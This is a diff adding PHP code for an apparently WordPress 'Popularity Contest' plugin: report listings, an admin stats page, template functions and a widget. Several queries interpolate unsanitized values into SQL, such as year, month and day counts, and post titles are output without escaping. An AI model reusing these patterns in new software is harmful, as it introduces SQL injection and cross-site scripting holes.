+						$list = '<li>'.__('(none)', 'popularity-contest').'</li>';
+					}
+					break;
+				case 'most_page_views':
+					$column = 'single_views';
+					$title = __('Page Views', 'popularity-contest');
+					$items = $this->get_popular_posts('popular_pages', $limit, $exclude_pages, array('column' => $column));
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$item->$column.'</span>
+									<a href="'.get_permalink($item->ID).'">'.$item->post_title.'</a>
+								</li>'."\n";
+						}
+					}					
+					else {
+						$list = '<li>'.__('(none)', 'popularity-contest').'</li>';
+					}
+					break;
+				case 'popular':
+					$query = 'popular';
+					$column = 'total';
+					$title = __('Most Popular', 'popularity-contest');
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages, array('column' => $column));
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$this->get_post_rank(null, $item->total).'</span>
+									<a href="'.get_permalink($item->ID).'">'.$item->post_title.'</a>
+								</li>'."\n";
+						}
+					}
+					else {
+						$list = '<li>'.__('(none)', 'popularity-contest').'</li>';
+					}
+					break;
+			}
+		}
+
+		if (!empty($list)) {
+			$html = '
+			<div class="akpc_report" rel="'.$rel.'">
+				'.($hide_title ? '' : $before_title.$title.$after_title).'
+				<ol>
+					'.$list.'
+				</ol>
+			</div>
+			';
+			echo apply_filters('akpc_show_report', $html, $items);
+		}
+	}
+	
+	/**
+	 * create a list of popular items for a report
+	 * @var array $items 
+	 * @return string - HTML
+	 */
+	function report_list_items($items, $before = '<li>', $after = '<li>') {
+		if (!$items || !count($items)) { return false; }
+		
+		$html = '';
+		foreach($items as $item) {
+			$html .= $before.
+					 '<span>'.$this->get_post_rank(null, $item->total).'</span><a href="'.get_permalink($item->ID).'">'.$item->post_title.'</a>'.
+					 $after;
+		}
+		return $html;
+	}
+	
+	function show_report_extended($type = 'popular', $limit = 50) {
+		global $wpdb, $post;
+		$columns = array(
+			'popularity' => __('', 'popularity-contest')
+			,'title'      => __('Title', 'popularity-contest')
+			,'categories' => __('Categories', 'popularity-contest')
+			,'single_views'     => __('Single', 'popularity-contest')
+			,'searcher_views'     => __('Search', 'popularity-contest')
+			,'category_views'     => __('Cat', 'popularity-contest')
+			,'tag_views'     => __('Tag', 'popularity-contest')
+			,'archive_views'     => __('Arch', 'popularity-contest')
+			,'home_views'     => __('Home', 'popularity-contest')
+			,'feed_views'     => __('Feed', 'popularity-contest')
+			,'comments'     => __('Com', 'popularity-contest')
+			,'pingbacks'     => __('Ping', 'popularity-contest')
+			,'trackbacks'     => __('Track', 'popularity-contest')
+		);
+?>
+<div id="akpc_most_popular">
+	<table width="100%" cellpadding="3" cellspacing="2"> 
+		<tr>
+<?php 
+		foreach($columns as $column_display_name) { 
+?>
+			<th scope="col"><?php echo $column_display_name; ?></th>
+<?php 
+		} 
+?>
+			</tr>
+<?php
+		$posts = $wpdb->get_results("
+			SELECT p.*, pop.*
+			FROM $wpdb->posts p
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON p.ID = pop.post_id
+			WHERE p.post_status = 'publish'
+			ORDER BY pop.total DESC
+			LIMIT ".intval($limit)
+		);
+		if ($posts) {
+			$bgcolor = '';
+			foreach ($posts as $post) { 
+				$class = ('alternate' == $class) ? '' : 'alternate';
+?> 
+		<tr class='<?php echo $class; ?>'>
+<?php
+				foreach($columns as $column_name => $column_display_name) {
+					switch($column_name) {
+						case 'popularity':
+?>
+				<td class="right"><?php $this->show_post_rank(null, $post->total); ?></td>
+<?php
+						break;
+						case 'title':
+?>
+				<td><a href="<?php the_permalink(); ?>"><?php the_title() ?></a></td>
+<?php
+							break;
+						case 'categories':
+?>
+				<td><?php if ($post->post_type == 'post') { the_category(','); } ?></td>
+<?php
+							break;
+						case 'single_views':
+?>
+				<td class="right"><?php print($post->single_views); ?></td>
+<?php
+							break;
+						case 'searcher_views':
+?>
+				<td class="right"><?php print($post->searcher_views); ?></td>
+<?php
+							break;
+						case 'category_views':
+?>
+				<td class="right"><?php print($post->category_views); ?></td>
+<?php
+							break;
+						case 'tag_views':
+?>
+				<td class="right"><?php print($post->tag_views); ?></td>
+<?php
+							break;
+						case 'archive_views':
+?>
+				<td class="right"><?php print($post->archive_views); ?></td>
+<?php
+							break;
+						case 'home_views':
+?>
+				<td class="right"><?php print($post->home_views); ?></td>
+<?php
+							break;
+						case 'feed_views':
+?>
+				<td class="right"><?php print($post->feed_views); ?></td>
+<?php
+							break;
+						case 'comments':
+?>
+				<td class="right"><?php print($post->comments); ?></td>
+<?php
+							break;
+						case 'pingbacks':
+?>
+				<td class="right"><?php print($post->pingbacks); ?></td>
+<?php
+							break;
+						case 'trackbacks':
+?>
+				<td class="right"><?php print($post->trackbacks); ?></td>
+<?php
+							break;
+					}
+				}
+?>
+		</tr> 
+<?php
+			}
+		} 
+		else {
+?>
+	  <tr style='background-color: <?php echo $bgcolor; ?>'> 
+		<td colspan="8"><?php _e('No posts found.') ?></td> 
+	  </tr> 
+<?php
+		} // end if ($posts)
+?> 
+	</table> 
+</div>
+<?php
+	}
+	
+	function view_stats($limit = 100) {
+		global $wpdb, $post;
+		print('
+			<div class="wrap ak_wrap">
+				<h2>'.__('Most Popular', 'popularity-contest').'</h2>
+		');
+		
+		$this->show_report_extended('popular', 50);
+
+		print('
+				<p id="akpc_options_link"><a href="options-general.php?page=popularity-contest.php">Change Popularity Values</a></p>
+
+				<div class="pop_group">
+					<h2>'.__('Date Range', 'popularity-contest').'</h2>
+		');
+
+		$this->show_report('last_30');
+		$this->show_report('last_60');
+		$this->show_report('last_90');
+		$this->show_report('last_365');
+		$this->show_report('365_plus');
+
+		print('
+				</div>
+				<div class="clear"></div>
+				<div class="pop_group">
+					<h2>'.__('Views', 'popularity-contest').'</h2>
+		');
+
+		$this->show_report('most_single_views');
+		$this->show_report('most_page_views');
+		$this->show_report('most_searcher_views');
+		$this->show_report('most_category_views');
+		$this->show_report('most_tag_views');
+		$this->show_report('most_archive_views');
+		$this->show_report('most_home_views');
+		$this->show_report('most_feed_views');
+
+		print('
+				</div>
+				<div class="clear"></div>
+				<div class="pop_group">
+					<h2>'.__('Feedback', 'popularity-contest').'</h2>
+		');
+
+		$this->show_report('most_comments');
+		$this->show_report('most_pingbacks');
+		$this->show_report('most_trackbacks');
+		$this->show_report('views_wo_feedback');
+
+		print('
+				</div>
+				<div class="clear"></div>
+				<h2>'.__('Averages', 'popularity-contest').'</h2>
+		');
+
+		$this->show_report('category_popularity');
+		$this->show_report('tag_popularity');
+		$this->show_report('month_popularity');
+
+		print('
+				<div class="clear"></div>
+				<div class="pop_group" id="akpc_tag_reports">
+					<h2>'.__('Tags', 'popularity-contest').'
+						<form action="'.site_url('index.php').'" method="post" id="akpc_report_tag_form">
+							<label for="akpc_tag_add">'.__('Add report for tag:', 'popularity-contest').'</label>
+							<input type="text" name="akpc_tag_add" id="akpc_tag_add" value="" />
+							<input type="submit" name="submit_button" value="'.__('Add', 'popularity-contest').'" />
+							<input type="hidden" name="ak_action" value="akpc_add_tag" />
+							<span class="akpc_saving">'.__('Adding tag...'. 'popularity-contest').'</span>
+						</form>
+					</h2>
+		');
+
+		$this->show_report('pop_by_tag');
+
+		print('
+				<div class="akpc_padded none">'.__('No tag reports chosen.', 'popularity-contest').'</div>
+				</div>
+				<div class="clear"></div>
+				<div class="pop_group">
+					<h2>'.__('Categories', 'popularity-contest').'</h2>
+		');
+
+		$this->show_report('pop_by_category');
+
+		print('
+				</div>
+				<div class="clear"></div>
+			</div>
+		');
+?>
+<script type="text/javascript">
+akpc_flow_reports = function() {
+	var reports = jQuery('div.akpc_report').css('visibility', 'hidden');
+	jQuery('div.akpc-auto-insert').remove();
+	var akpc_reports_per_row = Math.floor(jQuery('div.pop_group').width()/250);
+	jQuery('div.pop_group').each(function() {
+		var i = 1;
+		jQuery(this).find('div.akpc_report').each(function() {
+			if (i % akpc_reports_per_row == 0) {
+				jQuery(this).after('<div class="clear akpc-auto-insert"></div>');
+			}
+			i++;
+		});
+	});
+	akpc_tag_reports_none();
+	reports.css('visibility', 'visible');
+}
+akpc_tag_report_remove_links = function() {
+	jQuery('#akpc_tag_reports a.remove').remove();
+	jQuery('#akpc_tag_reports .akpc_report').each(function() {
+		jQuery(this).prepend('<a href="<?php echo site_url('index.php?ak_action=akpc_remove_tag&tag='); ?>' + jQuery(this).attr('rel') + '" class="remove"><?php _e('[X]', 'popuarity-contest'); ?></a>');
+	});
+	jQuery('#akpc_tag_reports a.remove').click(function() {
+		report = jQuery(this).parents('#akpc_tag_reports .akpc_report');
+		report.html('<div class="akpc_padded"><?php _e('Removing...', 'popularity-contest'); ?></div>');
+		jQuery.post(
+			'<?php echo site_url('index.php'); ?>',
+			{
+				'ak_action': 'akpc_remove_tag',
+				'tag': report.attr('rel')
+			},
+			function(response) {
+				report.remove();
+				akpc_flow_reports();
+			}, 
+			'html'
+		);
+		return false;
+	});
+}
+akpc_tag_reports_none = function() {
+	none_msg = jQuery('#akpc_tag_reports .none');
+	if (jQuery('#akpc_tag_reports .akpc_report').size()) {
+		none_msg.hide();
+	}
+	else {
+		none_msg.show();
+	}
+}
+jQuery(function($) {
+	akpc_flow_reports();
+	akpc_tag_report_remove_links();
+	$('#akpc_tag_add').suggest( 'admin-ajax.php?action=ajax-tag-search&tax=post_tag', { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } );
+	$('#akpc_report_tag_form').submit(function() {
+		var tag = $('#akpc_tag_add').val();
+		if (tag.length > 0) {
+			var add_button = $(this).find('input[type="submit"]');
+			var saving_msg = $(this).find('span.akpc_saving');
+			add_button.hide();
+			saving_msg.show();
+			$.post(
+				'<?php echo site_url('index.php'); ?>',
+				{
+					'ak_action': 'akpc_add_tag',
+					'tag': tag
+				},
+				function(response) {
+					$('#akpc_tag_add').val('');
+					$('#akpc_tag_reports').append(response);
+					akpc_flow_reports();
+					akpc_tag_report_remove_links()
+					saving_msg.hide();
+					add_button.show();
+				}, 
+				'html'
+			);
+		}
+		return false;
+	});
+});
+jQuery(window).bind('resize', akpc_flow_reports);
+</script>
+<?php
+	}
+	
+	function get_post_total($post_id) {
+		if (!isset($this->current_posts['id_'.$post_id])) {
+			$this->get_current_posts(array($post_id));
+		}
+		return $this->current_posts['id_'.$post_id];
+	}
+	
+	function get_rank($item, $total = null) {
+		if (is_null($total)) {
+			$total = $this->top_rank();
+		}
+		return ceil(($item/$total) * 100).'%';
+	}
+
+	function get_post_rank($post_id = null, $total = -1) {
+		if (count($this->top_ranked) == 0) {
+			$this->get_top_ranked();
+		}
+		if ($total > -1 && !$post_id) {
+			return ceil(($total/$this->top_rank()) * 100).'%';
+		}
+		if (isset($this->top_ranked['id_'.$post_id])) {
+			$rank = $this->top_ranked['id_'.$post_id];
+		}
+		else {
+			$rank = $this->get_post_total($post_id);
+		}
+		$show_help = apply_filters('akpc_show_help', $this->show_help, $post_id);
+		if ($show_help) {
+			$suffix = ' <span class="akpc_help">[<a href="http://alexking.org/projects/wordpress/popularity-contest" title="'.__('What does this mean?', 'popularity-contest').'">?</a>]</span>';
+		}
+		else {
+			$suffix = '';
+		}
+		if (isset($rank) && $rank != false) {
+			return __('Popularity:', 'popularity-contest').' '.$this->get_rank($rank).$suffix;
+		}
+		else {
+			return __('Popularity:', 'popularity-contest').' '.__('unranked', 'popularity-contest').$suffix;
+		}
+	}
+	
+	function show_post_rank($post_id = -1, $total = -1) {
+		print($this->get_post_rank($post_id, $total));
+	}
+	
+	function top_rank() {
+		if (count($this->top_ranked) == 0) {
+			$this->get_top_ranked();
+		}
+		foreach ($this->top_ranked as $id => $rank) {
+			$top = $rank;
+			break;
+		}
+		// handle edge case - div by zero
+		if (intval($top) == 0) {
+			$top = 1;
+		}
+		return $top;
+	}
+
+	function get_current_posts($post_ids = array()) {
+		global $wpdb, $wp_query;
+		$posts = $wp_query->get_posts();
+		$ids = array();
+		foreach ($posts as $post) {
+			$ids[] = $post->ID;
+		}
+		$ids = array_unique(array_merge($ids, $post_ids));
+		if (count($ids)) {
+			$result = $wpdb->get_results("
+				SELECT post_id, total
+				FROM $wpdb->ak_popularity
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			
+			if (count($result)) {
+				foreach ($result as $data) {
+					$this->current_posts['id_'.$data->post_id] = $data->total;
+				}
+			}
+		}
+		return true;
+	}
+	
+	
+	function get_top_ranked() {
+		global $wpdb;
+		$result = $wpdb->get_results("
+			SELECT post_id, total
+			FROM $wpdb->ak_popularity
+			ORDER BY total DESC
+			LIMIT 10
+		");
+		
+		if (!count($result)) {
+			return false;
+		}
+		
+		foreach ($result as $data) {
+			$this->top_ranked['id_'.$data->post_id] = $data->total;
+		}
+		
+		return true;
+	}
+	
+	function show_top_ranked($limit, $before, $after) {
+		if ($posts=$this->get_top_ranked_posts($limit)) {
+			foreach ($posts as $post) {
+    			print(
+    				$before.'<a href="'.get_permalink($post->ID).'">'
+    				.$post->post_title.'</a>'.$after
+    			);
+			}
+		}
+		else {
+			print($before.'(none)'.$after);
+		}
+	}
+
+	function get_top_ranked_posts($limit) {
+		global $wpdb;
+		$temp = $wpdb;
+		
+		$join = apply_filters('posts_join', '');
+		$where = apply_filters('posts_where', '');
+		$groupby = apply_filters('posts_groupby', '');
+		if (!empty($groupby)) {
+			$groupby = ' GROUP BY '.$groupby;
+		}
+		else {
+			$groupby = ' GROUP BY '.$wpdb->posts.'.ID ';
+		}
+							
+		$posts = $wpdb->get_results("
+			SELECT ID, post_title
+			FROM $wpdb->posts
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON $wpdb->posts.ID = pop.post_id
+			$join
+			WHERE post_status = 'publish'
+			AND post_date < NOW()
+			$where
+			$groupby
+			ORDER BY pop.total DESC
+			LIMIT ".intval($limit)
+		);
+
+		$wpdb = $temp;
+
+		return $posts;
+	}
+	
+	function show_top_ranked_in_cat($limit, $before, $after, $cat_ID = '') {
+		if (empty($cat_ID) && is_category()) {
+			global $cat;
+			$cat_ID = $cat;
+		}
+		if (empty($cat_ID)) {
+			return;
+		}
+		global $wpdb;
+		$temp = $wpdb;
+
+		$join = apply_filters('posts_join', '');
+		$where = apply_filters('posts_where', '');
+		$groupby = apply_filters('posts_groupby', '');
+		if (!empty($groupby)) {
+			$groupby = ' GROUP BY '.$groupby;
+		}
+		else {
+			$groupby = ' GROUP BY p.ID ';
+		}
+
+		$posts = $wpdb->get_results("
+			SELECT ID, post_title
+			FROM $wpdb->posts p
+			LEFT JOIN $wpdb->term_relationships tr
+			ON p.ID = tr.object_id
+			LEFT JOIN $wpdb->term_taxonomy tt
+			ON tr.term_taxonomy_id = tt.term_taxonomy_id
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON p.ID = pop.post_id
+			$join
+			WHERE tt.term_id = '".intval($cat_ID)."'
+			AND tt.taxonomy = 'category'
+			AND post_status = 'publish'
+			AND post_type = 'post' 
+			AND post_date < NOW()
+			$where
+			$groupby
+			ORDER BY pop.total DESC
+			LIMIT ".intval($limit)
+		);
+		if ($posts) {
+			foreach ($posts as $post) {
+    			print(
+    				$before.'<a href="'.get_permalink($post->ID).'">'
+    				.$post->post_title.'</a>'.$after
+    			);
+			}
+		}
+		else {
+			print($before.'(none)'.$after);
+		}
+		$wpdb = $temp;
+	}
+	
+	function show_top_ranked_in_month($limit, $before, $after, $m = '') {
+		if (empty($m) && is_archive()) {
+			global $m;
+		}
+		if (empty($m)) {
+			global $post;
+			$m = get_the_time('Ym');
+		}
+		if (empty($m)) {
+			return;
+		}
+		$year = substr($m, 0, 4);
+		$month = substr($m, 4, 2);
+		global $wpdb;
+		$temp = $wpdb;
+
+		$join = apply_filters('posts_join', '');
+		$where = apply_filters('posts_where', '');
+		$groupby = apply_filters('posts_groupby', '');
+		if (!empty($groupby)) {
+			$groupby = ' GROUP BY '.$groupby;
+		}
+		else {
+			$groupby = ' GROUP BY '.$wpdb->posts.'.ID ';
+		}
+
+		$posts = $wpdb->get_results("
+			SELECT ID, post_title
+			FROM $wpdb->posts
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON $wpdb->posts.ID = pop.post_id
+			$join
+			WHERE YEAR(post_date) = '$year'
+			AND MONTH(post_date) = '$month'
+			AND post_status = 'publish'
+			AND post_date < NOW()
+			$where
+			$groupby
+			ORDER BY pop.total DESC
+			LIMIT ".intval($limit)
+		);
+		if ($posts) {
+			foreach ($posts as $post) {
+    			print(
+    				$before.'<a href="'.get_permalink($post->ID).'">'
+    				.$post->post_title.'</a>'.$after
+    			);
+			}
+		}
+		else {
+			print($before.'(none)'.$after);
+		}
+		$wpdb = $temp;
+	}
+
+	function show_top_ranked_in_last_days($limit, $before, $after, $days = 45) {
+		global $wpdb;
+		$temp = $wpdb;
+
+		$join = apply_filters('posts_join', '');
+		$where = apply_filters('posts_where', '');
+		$groupby = apply_filters('posts_groupby', '');
+		if (!empty($groupby)) { $groupby = ' GROUP BY '.$groupby; }
+
+		$offset = 0;
+		$compare = '>';
+
+		$posts = $wpdb->get_results("
+			SELECT ID, post_title
+			FROM $wpdb->posts
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON $wpdb->posts.ID = pop.post_id
+			$join
+			WHERE DATE_ADD($wpdb->posts.post_date, INTERVAL $days DAY) $compare DATE_ADD(NOW(), INTERVAL $offset DAY)
+			AND post_status = 'publish'
+			AND post_date < NOW()
+			$where
+			$groupby
+			ORDER BY pop.total DESC
+			LIMIT ".intval($limit)
+		);
+		if ($posts) {
+			foreach ($posts as $post) {
+    			print(
+    				$before.'<a href="'.get_permalink($post->ID).'">'
+    				.$post->post_title.'</a>'.$after
+    			);
+			}
+		}
+		else {
+			print($before.'(none)'.$after);
+		}
+		$wpdb = $temp;
+	}
+
+}
+
+// -- "HOOKABLE" FUNCTIONS
+
+function akpc_init() {
+	global $wpdb, $akpc;
+
+	$wpdb->ak_popularity = $wpdb->prefix.'ak_popularity';
+	$wpdb->ak_popularity_options = $wpdb->prefix.'ak_popularity_options';
+
+	$akpc = new ak_popularity_contest;
+	$akpc->get_settings();
+}
+
+function akpc_view($content) {
+	global $akpc;
+	$akpc->record_view();
+	return $content;
+}
+
+function akpc_feedback_comment() {
+	global $akpc;
+	$akpc->record_feedback('comment');
+}
+
+function akpc_comment_status($comment_id, $status = 'approved') {
+	global $akpc;
+	$akpc->edit_feedback($comment_id, 'status', $status);
+}
+
+function akpc_comment_delete($comment_id) {
+	global $akpc;
+	$akpc->edit_feedback($comment_id, 'delete');
+}
+
+function akpc_feedback_pingback() {
+	global $akpc;
+	$akpc->record_feedback('pingback');
+}
+
+function akpc_feedback_trackback() {
+	global $akpc;
+	$akpc->record_feedback('trackback');
+}
+
+function akpc_publish($post_id) {
+	global $akpc;
+	$akpc->create_post_record($post_id);
+}
+
+function akpc_post_delete($post_id) {
+	global $akpc;
+	$akpc->delete_post_record($post_id);
+}
+
+function akpc_options_form() {
+	global $akpc;
+	$akpc->options_form();
+}
+
+function akpc_view_stats() {
+	global $akpc;
+	$akpc->view_stats();
+}
+
+function akpc_plugin_action_links($links, $file) {
+	$plugin_file = basename(__FILE__);
+	if (basename($file) == $plugin_file) {
+		$settings_link = '<a href="options-general.php?page='.$plugin_file.'">'.__('Settings', 'popularity-contest').'</a>';
+		array_unshift($links, $settings_link);
+		$reports_link = '<a href="index.php?page='.$plugin_file.'">'.__('Reports', 'popularity-contest').'</a>';
+		array_unshift($links, $reports_link);
+	}
+	return $links;
+}
+add_filter('plugin_action_links', 'akpc_plugin_action_links', 10, 2);
+
+function akpc_options() {
+	if (function_exists('add_options_page')) {
+		add_options_page(
+			__('Popularity Contest Options', 'popularity-contest')
+			, __('Popularity', 'popularity-contest')
+			, 10
+			, basename(__FILE__)
+			, 'akpc_options_form'
+		);
+	}
+	if (function_exists('add_submenu_page')) {
+		add_submenu_page(
+			'index.php'
+			, __('Most Popular Posts', 'popularity-contest')
+			, __('Most Popular Posts', 'popularity-contest')
+			, 0
+			, basename(__FILE__)
+			, 'akpc_view_stats'
+		);
+	}
+}
+function akpc_options_css() {
+	print('<link rel="stylesheet" type="text/css" href="'.site_url('?ak_action=akpc_css').'" />');
+}
+function akpc_widget_js() {
+	echo '<script type="text/javascript" src="'.site_url('?ak_action=akpc_js').'"></script>';
+}
+
+// -- TEMPLATE FUNCTIONS
+
+function akpc_the_popularity($post_id = null) {
+	global $akpc;
+	if (!$post_id) {
+		global $post;
+		$post_id = $post->ID;
+	}
+	$akpc->show_post_rank($post_id);
+}
+
+function akpc_most_popular($limit = 10, $before = '<li>', $after = '</li>', $report = false, $echo = true) {
+	global $akpc;
+	if(!$report) {
+		$akpc->show_top_ranked($limit, $before, $after);
+	}
+	else {
+		return $akpc->show_report($report, $limit);
+	}
+}
+
+/**
+ * Show a single report
+ * @var string $type - type of report to show
+ * @var int $limit - number of results to display
+ * @return mixed echo/array
+ */
+function akpc_show_report($type = 'popular', $limit = 10, $exclude_pages = 'no', $custom = array(), $before_title = '<h3>', $after_title = '</h3>', $hide_title = false) {
+	global $akpc;
+	return $akpc->show_report($type, $limit, $exclude_pages, $custom, $before_title, $after_title, $hide_title);
+}
+
+/**
+ * Get raw post data for a report type
+ * @var string $type - type of report to show
+ * @var int $limit - number of posts to display
+ * @var array $custom - any custom report attributes needed
+ * @return bool/array - returns false if no posts in report
+ */
+function akpc_get_popular_posts_array($type, $limit, $custom = array()) {
+	global $akpc;
+	return $akpc->get_popular_posts($type, $limit, $custom);
+}
+
+function akpc_most_popular_in_cat($limit = 10, $before = '<li>', $after = '</li>', $cat_ID = '') {
+	global $akpc;
+	$akpc->show_top_ranked_in_cat($limit, $before, $after, $cat_ID);
+}
+
+function akpc_most_popular_in_month($limit = 10, $before = '<li>', $after = '</li>', $m = '') {
+	global $akpc;
+	$akpc->show_top_ranked_in_month($limit, $before, $after, $m);
+}
+
+function akpc_most_popular_in_last_days($limit = 10, $before = '<li>', $after = '</li>', $days = 45) {
+	global $akpc;
+	$akpc->show_top_ranked_in_last_days($limit, $before, $after, $days);
+}
+
+function akpc_content_pop($str) {
+	global $akpc, $post;
+	if (is_admin()) {
+		return $str;
+	}
+	else if (is_feed()) {
+		$str .= '<img src="'.site_url('?ak_action=api_record_view&id='.$post->ID.'&type=feed').'" alt="" />';
+	}
+	else {
+		if (AKPC_USE_API) {
+			$str .= '<script type="text/javascript">AKPC_IDS += "'.$post->ID.',";</script>';
+		}
+		$show = apply_filters('akpc_display_popularity', $akpc->show_pop, $post);
+		if (!get_post_meta($post->ID, 'hide_popularity', true) && $show) {
+			$str .= '<p class="akpc_pop">'.$akpc->get_post_rank($post->ID).'</p>';
+		}
+	}
+	return $str;
+}
+
+function akpc_excerpt_compat_pre($output) {
+	remove_filter('the_content', 'akpc_content_pop');
+	return $output;
+}
+add_filter('get_the_excerpt', 'akpc_excerpt_compat_pre', 1);
+
+function akpc_excerpt_compat_post($output) {
+	add_filter('the_content', 'akpc_content_pop');
+	return $output;
+}
+add_filter('get_the_excerpt', 'akpc_excerpt_compat_post', 999);
+
+// -- WIDGET
+
+/**
+ * do widget init functionality
+ */
+function akpc_widget_init() {
+	if(!function_exists('register_sidebar_widget') || !function_exists('register_widget_control')) { return; }
+	
+	// get existing widget options
+	$options = maybe_unserialize(get_option('akpc_widget_options'));
+	
+	// if no existing widgets, fake one
+	if(!is_array($options)) { $options[-1] = array('title'=>'','type'=>'','limit'=>''); }
+
+	// base set of options for widget type
+	$base_options = array('classname' => 'akpc-widget', 'description' => __('Show popular posts as ranked by Popularity Contest', 'popularity-contest'));
+	$widget_name = __('Popularity Contest', 'popularity-contest');
+		
+	// register widgets & controls for each existing widget
+	foreach($options as $number => $option) {
+		$widget_id = 'akpc-widget-'.($number === -1 ? 1 : $number); // not needed, but avoids duplicate dashes for new widgets
+		wp_register_sidebar_widget($widget_id, $widget_name,'akpc_widget', $base_options, array('number' => $number));
+		wp_register_widget_control($widget_id, $widget_name,'akpc_widget_control', array('id_base' => 'akpc-widget'), array('number' => $number));
+	}
+}
+
+/**
+ * Widget display
+ */
+function akpc_widget($args, $widget_args = 1) {
+	// find out which widget we're working on
+	if(is_numeric($widget_args)) { 
+		$widget_args = array('number' => $widget_args);
+	}
+	$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+	extract($widget_args, EXTR_SKIP);
+	
+	// get passed args
+	extract($args);
+	
+	// get saved options
+	$options = maybe_unserialize(get_option('akpc_widget_options'));
+	extract($options[$number]);
+	$type = (!isset($type) || empty($type)) ? 'popular' : $type;
+	$days = (!isset($days) || empty($days)) ? '' : intval($days);
+	$limit = (!isset($limit) || empty($limit)) ? 10 : intval($limit);
+	$title_string = (!isset($title) || empty($title)) ? '' : $before_title.htmlspecialchars(stripslashes($title)).$after_title;
+	$exclude_pages = (!isset($exclude_pages) || empty($exclude_pages)) ? 'no' : $exclude_pages;
+	$custom = array();
+	
+	// Check to see if we have the custom type of "last_n" and pass the day amount in the custom array
+	if ($type == 'last_n') {
+		$custom['days'] = $days;
+	}
+	
+	// output
+	echo $before_widget.$title_string;
+	akpc_show_report($type, $limit, $exclude_pages, $custom, '<h4>', '<h4>', true);
+	echo $after_widget;
+}
+
+/**
+ * Controls for creating and saving multiple PC widgets
+ */
+function akpc_widget_control($widget_args = 1) {
+	global $wp_registered_widgets;
+	static $updated = false; // set this after updating so update only happens once
+	
+	// get individual widget ID
+	if(is_numeric($widget_args)) { 
+		$widget_args = array('number' => $widget_args);
+	}
+	$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+	extract( $widget_args, EXTR_SKIP );
+	
+	// get existing widget options
+	$options = maybe_unserialize(get_option('akpc_widget_options'));
+
+	/* UPDATE OPTIONS ON PRESENCE OF POST DATA */
+	if(isset($_POST['akpc']) && isset($_POST['sidebar'])) {
+		// get current sidebar data
+		$sidebar = strval($_POST['sidebar']);
+		$sidebar_widgets = wp_get_sidebars_widgets();
+		$this_sidebar = isset($sidebar_widgets[$sidebar]) ? $sidebar_widgets[$sidebar] : array();
+		
+		// check to see if this sidebar item needs to be deleted
+		// code pulled directly from the Plain Text widget native to wordpress
+		foreach ($this_sidebar as $_widget_id) {
+			if ('akpc_widget' == $wp_registered_widgets[$_widget_id]['callback'] && isset($wp_registered_widgets[$_widget_id]['params'][0]['number'])) {
+				$widget_number = $wp_registered_widgets[$_widget_id]['params'][0]['number'];
+				// if we had a previously registered widget ID but nothing in the post args, the widget was removed, so kill it
+				if(!in_array("akpc-widget-$widget_number", $_POST['widget-id'])) {
+					unset($options[$widget_number]);
+				}
+			}
+		}
+		
+		// save this widget's options
+		foreach((array) $_POST['akpc'] as $widget_number => $widget_options) {		
+			$options[$widget_number]['title'] = $widget_options['title'];
+			$options[$widget_number]['type'] = $widget_options['type'];
+			$options[$widget_number]['days'] = intval($widget_options['days']);
+			$options[$widget_number]['limit'] = intval($widget_options['limit']);
+			$options[$widget_number]['exclude_pages'] = $widget_options['exclude_pages'];
+		}
+		update_option('akpc_widget_options',serialize($options));
+		$updated = true;
+	}
+	
+	// new widget prep
+	if($number == -1) { 
+		$options[$number] = array('title'=>'','type'=>'','days'=>'','limit'=>''); 
+		$number = '%i%'; // required for new widgets so WP auto-generates a new ID
+	}
+
+	/* START CONTROLS OUTPUT */
+	// Widget Title
+	echo '<p>
+			<label for="akpc['.$number.'][title]">'.__('Widget Title', 'popularity-contest').'</label>
+			<input type="text" id="akpc['.$number.'][title]" name="akpc['.$number.'][title]" value="'.htmlspecialchars(stripslashes($options[$number]['title'])).'" />
+		</p>'.PHP_EOL;
+	
+	// report type select list
+	$report_types = array('popular' => __('Most Popular', 'popularity-contest'),
+						  'pop_by_category' => __('By Category', 'popularity-contest'),
+						  'category_popularity' => __('Average by Category', 'popularity-contest'),
+						  'last_30' => __('Last 30 Days', 'popularity-contest'),
+						  'last_60' => __('Last 60 Days', 'popularity-contest'),
+						  'last_90' => __('Last 90 Days', 'popularity-contest'),
+						  'last_n' => __('Last (n) Days', 'popularity-contest'),
+						  '365_plus' => __('Older than 1 Year', 'popularity-contest'),
+						  'year' => __('Average by Year', 'popularity-contest'),
+						  'views_wo_feedback' => __('Views w/o Feedback', 'popularity-contest'),
+						  'most_feedback' => __('Most Feedback', 'popularity-contest'),
+						  'most_comments' => __('Most Commented', 'popularity-contest'),
+						  'most_feed_views' => __('Feed Views', 'popularity-contest'),
+						  'most_home_views' => __('Home Page Views', 'popularity-contest'),
+						  'most_archive_views' => __('Archive Views', 'popularity-contest'),
+						  'most_single_views' => __('Permalink Views', 'popularity-contest'),
+						  'most_pingbacks' => __('Pingbacks', 'popularity-contest'),
+						  'most_trackbacks' => __('Trackbacks', 'popularity-contest')
+						  );
+	echo '<p>
+			<label for="akpc['.$number.'][type]">'.__('Report Type', 'popularity-contest').'</label>
+			<select id="akpc['.$number.'][type]" name="akpc['.$number.'][type]" class="akpc_pop_widget_type">'.PHP_EOL;
+	foreach($report_types as $key => $value) {
+		echo '<option value="'.$key.'"'.($key == $options[$number]['type'] ? ' selected="selected"' : '').'>'.$value.'</option>'.PHP_EOL;
+	}
+	echo '</select>
+		</p>'.PHP_EOL;
+	// Number of days to get data from
+	$hide_days = '';
+	if ($options[$number]['type'] != 'last_n' || (!is_int($options[$number]['days']) && $options[$number]['days'] != 0)) {
+		$hide_days = ' style="display:none;"';
+	}
+	echo '<p class="akpc_pop_widget_days"'.$hide_days.'>
+			<label for="akpc['.$number.'][days]">'.__('Number of days', 'popularity-contest').': </label>
+			<input type="text" id="akpc['.$number.'][days]" name="akpc['.$number.'][days]" size="3" value="'.$options[$number]['days'].'" />
+		</p>'.PHP_EOL;
+		
+	// number of posts to display
+	echo '<p>
+			<label for="akpc['.$number.'][limit]">'.__('Number of posts to display', 'popularity-contest').': </label>
